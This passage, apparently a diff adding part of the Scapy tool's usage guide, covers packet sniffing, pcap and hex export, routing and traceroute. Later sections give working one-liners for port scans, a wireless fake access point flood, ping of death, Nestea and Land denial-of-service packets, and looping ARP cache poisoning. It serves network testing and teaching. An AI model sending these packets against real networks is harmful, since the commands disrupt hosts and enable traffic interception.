+             load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
+    ---[ Padding ]---
+                load      = '\n_\x00\x0b'
+    >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
+    eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw  
+    eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw    
+    eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw  
+    eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw
+
+For even more control over displayed information we can use the ``sprintf()`` function::
+
+    >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
+    192.168.1.100 -> 64.233.167.99
+    
+    64.233.167.99 -> 192.168.1.100
+    
+    192.168.1.100 -> 64.233.167.99
+    
+    192.168.1.100 -> 64.233.167.99
+    'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 
+    (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
+    Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
+    text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
+    en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
+    ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
+    keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
+    
+We can sniff and do passive OS fingerprinting::
+
+    >>> p
+    <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
+     ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
+     src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
+     seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
+     chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
+     ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
+    >>> load_module("p0f")
+    >>> p0f(p)
+    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
+    >>> a=sniff(prn=prnp0f)
+    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
+    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
+    (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
+    (1.0, ['Windows 2000 (9)'])
+
+The number before the OS guess is the accuracy of the guess.
+
+Filters
+-------
+
+.. index::
+   single: filter, sprintf()
+
+Demo of both bpf filter and sprintf() method::
+
+    >>> a=sniff(filter="tcp and ( port 25 or port 110 )",
+     prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
+    192.168.8.10:47226 -> 213.228.0.14:110   S : 
+    213.228.0.14:110 -> 192.168.8.10:47226  SA : 
+    192.168.8.10:47226 -> 213.228.0.14:110   A : 
+    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>
+    
+    192.168.8.10:47226 -> 213.228.0.14:110   A : 
+    192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto
+    
+    213.228.0.14:110 -> 192.168.8.10:47226   A : 
+    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK 
+    
+    192.168.8.10:47226 -> 213.228.0.14:110   A : 
+    192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata
+    
+    213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed
+    
+    192.168.8.10:47226 -> 213.228.0.14:110   A : 
+    213.228.0.14:110 -> 192.168.8.10:47226  FA : 
+    192.168.8.10:47226 -> 213.228.0.14:110  FA : 
+    213.228.0.14:110 -> 192.168.8.10:47226   A : 
+
+Send and receive in a loop 
+--------------------------
+
+.. index::
+   single: srloop()
+
+Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change::
+
+    >>> srloop(IP(dst="www.target.com/30")/TCP())
+    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
+    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
+    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
+    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
+    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
+    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
+    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
+    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
+            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
+
+
+Importing and Exporting Data
+----------------------------
+PCAP
+^^^^
+
+It is often useful to save capture packets to pcap file for use at later time or with different applications::
+
+    >>> wrpcap("temp.cap",pkts)
+
+To restore previously saved pcap file:
+
+    >>> pkts = rdpcap("temp.cap")
+
+or
+
+    >>> pkts = sniff(offline="temp.cap")
+
+Hexdump
+^^^^^^^
+
+Scapy allows you to export recorded packets in various hex formats.
+
+Use ``hexdump()`` to display one or more packets using classic hexdump format::
+
+    >>> hexdump(pkt)
+    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
+    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
+    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
+    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
+    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
+    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
+    0060   36 37                                              67
+
+Hexdump above can be reimported back into Scapy using ``import_hexcap()``::
+
+    >>> pkt_hex = Ether(import_hexcap())
+    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
+    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
+    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
+    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
+    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
+    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
+    0060   36 37                                              67
+    >>> pkt_hex
+    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
+    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
+    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
+    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
+    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
+    \x1f !"#$%&\'()*+,-./01234567' |>>>>
+
+Binary string
+^^^^^^^^^^^^^
+
+You can also convert entire packet into a binary string using the ``raw()`` function::
+
+    >>> pkts = sniff(count = 1)
+    >>> pkt = pkts[0]
+    >>> pkt
+    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
+    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
+    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
+    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
+    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
+    \x1f !"#$%&\'()*+,-./01234567' |>>>>
+    >>> pkt_raw = raw(pkt)
+    >>> pkt_raw
+    '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
+    \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
+    \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
+    \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
+
+We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``).
+
+    >>> new_pkt = Ether(pkt_raw)
+    >>> new_pkt
+    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
+    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
+    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
+    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
+    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
+    \x1f !"#$%&\'()*+,-./01234567' |>>>>
+
+Base64
+^^^^^^
+
+Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet::
+
+    >>> pkt
+    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
+    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
+    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
+    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
+    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 
+    !"#$%&\'()*+,-./01234567' |>>>>
+    >>> export_object(pkt)
+    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
+    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
+    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
+    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
+    ...
+
+The output above can be reimported back into Scapy using ``import_object()``::
+
+    >>> new_pkt = import_object()
+    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
+    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
+    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
+    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
+    ...
+    >>> new_pkt
+    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L 
+    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 
+    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 
+    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
+    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 
+    !"#$%&\'()*+,-./01234567' |>>>>
+
+Sessions
+^^^^^^^^
+
+At last Scapy is capable of saving all session variables using the ``save_session()`` function:
+
+>>> dir()
+['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
+>>> save_session("session.scapy")
+
+Next time you start Scapy you can load the previous saved session using the ``load_session()`` command::
+
+    >>> dir()
+    ['__builtins__', 'conf']
+    >>> load_session("session.scapy")
+    >>> dir()
+    ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
+
+
+Making tables
+-------------
+
+.. index::
+   single: tables, make_table()
+
+Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :
+
+Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later)::
+
+    >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
+    Received 49 packets, got 24 answers, remaining 0 packets
+    >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
+      216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195  
+    1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1     
+    2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254   
+    3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254   
+    4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3     
+    5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69  
+    6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 
+
+Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.
+
+::
+
+    >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
+    Received 142 packets, got 25 answers, remaining 71 packets
+    >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
+       172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 
+    20 0             4203          7021          -             11562             
+    21 0             4204          7022          -             11563             
+    22 0             4205          7023          11561         11564             
+    25 0             0             7024          -             11565             
+    53 0             4207          7025          -             11566             
+    80 0             4028          7026          -             11567             
+
+It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.
+
+Routing
+-------
+
+.. index::
+   single: Routing, conf.route
+
+Now scapy has its own routing table, so that you can have your packets routed differently than the system::
+
+    >>> conf.route
+    Network         Netmask         Gateway         Iface
+    127.0.0.0       255.0.0.0       0.0.0.0         lo
+    192.168.8.0     255.255.255.0   0.0.0.0         eth0
+    0.0.0.0         0.0.0.0         192.168.8.1     eth0
+    >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
+    >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
+    >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
+    >>> conf.route
+    Network         Netmask         Gateway         Iface
+    127.0.0.0       255.0.0.0       0.0.0.0         lo
+    192.168.8.0     255.255.255.0   0.0.0.0         eth0
+    0.0.0.0         0.0.0.0         192.168.8.254   eth0
+    192.168.1.1     255.255.255.255 192.168.8.1     eth0
+    >>> conf.route.resync()
+    >>> conf.route
+    Network         Netmask         Gateway         Iface
+    127.0.0.0       255.0.0.0       0.0.0.0         lo
+    192.168.8.0     255.255.255.0   0.0.0.0         eth0
+    0.0.0.0         0.0.0.0         192.168.8.1     eth0
+
+Gnuplot
+-------
+
+.. index::
+   single: Gnuplot, plot()
+
+We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.)
+For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer::
+
+    >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
+    >>> a.plot(lambda x:x[1].id)
+    <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
+
+.. image:: graphics/ipid.png
+
+
+TCP traceroute (2)
+------------------
+
+.. index::
+   single: traceroute(), Traceroute
+
+Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result::
+
+    >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
+    Received 80 packets, got 80 answers, remaining 0 packets
+       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80   
+    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        
+    2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254     
+    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      
+    4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46       
+    5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41       
+    6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69     
+    7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178    
+    8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98     
+    9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89     
+    10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126    
+    11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178     
+    12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146      
+    13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230      
+    14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA 
+    15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA 
+    16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA 
+    17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA 
+    18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA 
+    19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA 
+    20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA 
+    (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
+
+The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.
+
+    >>> result, unans = _
+    >>> result.show()
+       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80   
+    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        
+    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254     
+    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      
+    [...]
+    >>> result.filter(lambda x: Padding in x[1])
+
+Like any result object, traceroute objects can be added :
+
+    >>> r2, unans = traceroute(["www.voila.com"],maxttl=20)
+    Received 19 packets, got 19 answers, remaining 1 packets
+       195.101.94.25:80   
+    1  192.168.8.1        
+    2  82.251.4.254     
+    3  213.228.4.254      
+    4  212.27.50.169      
+    5  212.27.50.162      
+    6  193.252.161.97     
+    7  193.252.103.86     
+    8  193.252.103.77     
+    9  193.252.101.1      
+    10 193.252.227.245    
+    12 195.101.94.25   SA 
+    13 195.101.94.25   SA 
+    14 195.101.94.25   SA 
+    15 195.101.94.25   SA 
+    16 195.101.94.25   SA 
+    17 195.101.94.25   SA 
+    18 195.101.94.25   SA 
+    19 195.101.94.25   SA 
+    20 195.101.94.25   SA 
+    >>>
+    >>> r3=result+r2
+    >>> r3.show()
+       195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80   
+    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        
+    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254     
+    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      
+    4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46       
+    5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37       
+    6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69     
+    7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178    
+    8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98     
+    9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89     
+    10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126    
+    11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178     
+    12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46     
+    13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234      
+    14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA 
+    15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA 
+    16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA 
+    17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA 
+    18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA 
+    19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA 
+    20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA 
+
+Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.
+
+    >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
+    Received 190 packets, got 190 answers, remaining 10 packets
+       193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
+    1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
+    2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
+    3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
+    [...]
+    >>> res.graph()                          # piped to ImageMagick's display program. Image below.
+    >>> res.graph(type="ps",target="| lp")   # piped to postscript printer
+    >>> res.graph(target="> /tmp/graph.svg") # saved to file 
+
+.. image:: graphics/graph_traceroute.png
+
+If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed::
+
+    >>> res.trace3D()
+
+.. image:: graphics/trace3d_1.png
+
+.. image:: graphics/trace3d_2.png
+
+Wireless frame injection
+------------------------
+
+.. index::
+   single: FakeAP, Dot11, wireless, WLAN
+
+Provided that your wireless card and driver are correctly configured for frame injection
+
+::
+
+    $ iw dev wlan0 interface add mon0 type monitor
+    $ ifconfig mon0 up
+
+On Windows, if using Npcap, the equivalent would be to call
+
+    # Of course, conf.iface can be replaced by any interfaces accessed through IFACES
+    >>> conf.iface.setmode(1)
+
+you can have a kind of FakeAP::
+
+    >>> sendp(RadioTap()/
+              Dot11(addr1="ff:ff:ff:ff:ff:ff",
+                    addr2="00:01:02:03:04:05",
+                    addr3="00:01:02:03:04:05")/
+              Dot11Beacon(cap="ESS", timestamp=1)/
+              Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/
+              Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/
+              Dot11Elt(ID="DSset", info="\x03")/
+              Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),
+              iface="mon0", loop=1)
+
+Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it.
+
+
+Simple one-liners
+=================
+
+
+ACK Scan
+--------
+
+Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans.
+For example, the following string will be sent to simulate an ACK Scan::
+
+    >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
+
+We can find unfiltered ports in answered packets::
+
+    >>> for s,r in ans:
+    ...     if s[TCP].dport == r[TCP].sport:
+    ...        print("%d is unfiltered" % s[TCP].dport)
+
+Similarly, filtered ports can be found with unanswered packets::
+
+    >>> for s in unans:     
+    ...     print("%d is filtered" % s[TCP].dport)
+
+
+Xmas Scan
+---------
+
+Xmas Scan can be launched using the following command::
+
+    >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
+
+Checking RST responses will reveal closed ports on the target. 
+
+IP Scan
+-------
+
+A lower level IP Scan can be used to enumerate supported protocols::
+
+    >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
+
+
+ARP Ping
+--------
+
+The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method::
+
+    >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
+
+Answers can be reviewed with the following command::
+
+    >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
+
+Scapy also includes a built-in arping() function which performs similar to the above two commands:
+
+    >>> arping("192.168.1.*")
+
+
+ICMP Ping
+---------
+
+Classical ICMP Ping can be emulated using the following command::
+
+    >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())
+
+Information on live hosts can be collected with the following request::
+
+    >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
+
+
+TCP Ping
+--------
+
+In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below::
+
+    >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
+
+Any response to our probes will indicate a live host. We can collect results with the following command::
+
+    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
+
+
+UDP Ping
+--------
+
+If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0::
+
+    >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
+
+Once again, results can be collected with this command:
+
+    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
+
+
+
+Classical attacks
+-----------------
+
+Malformed packets::
+
+    >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) 
+
+Ping of death (Muuahahah)::
+
+    >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) 
+
+Nestea attack::
+
+    >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) 
+    >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) 
+    >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) 
+    
+Land attack (designed for Microsoft Windows)::
+
+    >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
+
+ARP cache poisoning   
+------------------- 
+This attack prevents a client from joining the gateway by poisoning 
+its ARP cache through a VLAN hopping attack. 
+
+Classic ARP cache poisoning::
+
+    >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), 
+          inter=RandNum(10,40), loop=1 ) 
+
+ARP cache poisoning with double 802.1q encapsulation::
+ 
+    >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) 
+          /ARP(op="who-has", psrc=gateway, pdst=client),
+          inter=RandNum(10,40), loop=1 )
+
+TCP Port Scanning 
+-----------------
+ 
+Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: 
+
+    >>> res, unans = sr( IP(dst="target") 
+                    /TCP(flags="S", dport=(1,1024)) ) 
+
+Possible result visualization: open ports
+
+::
+
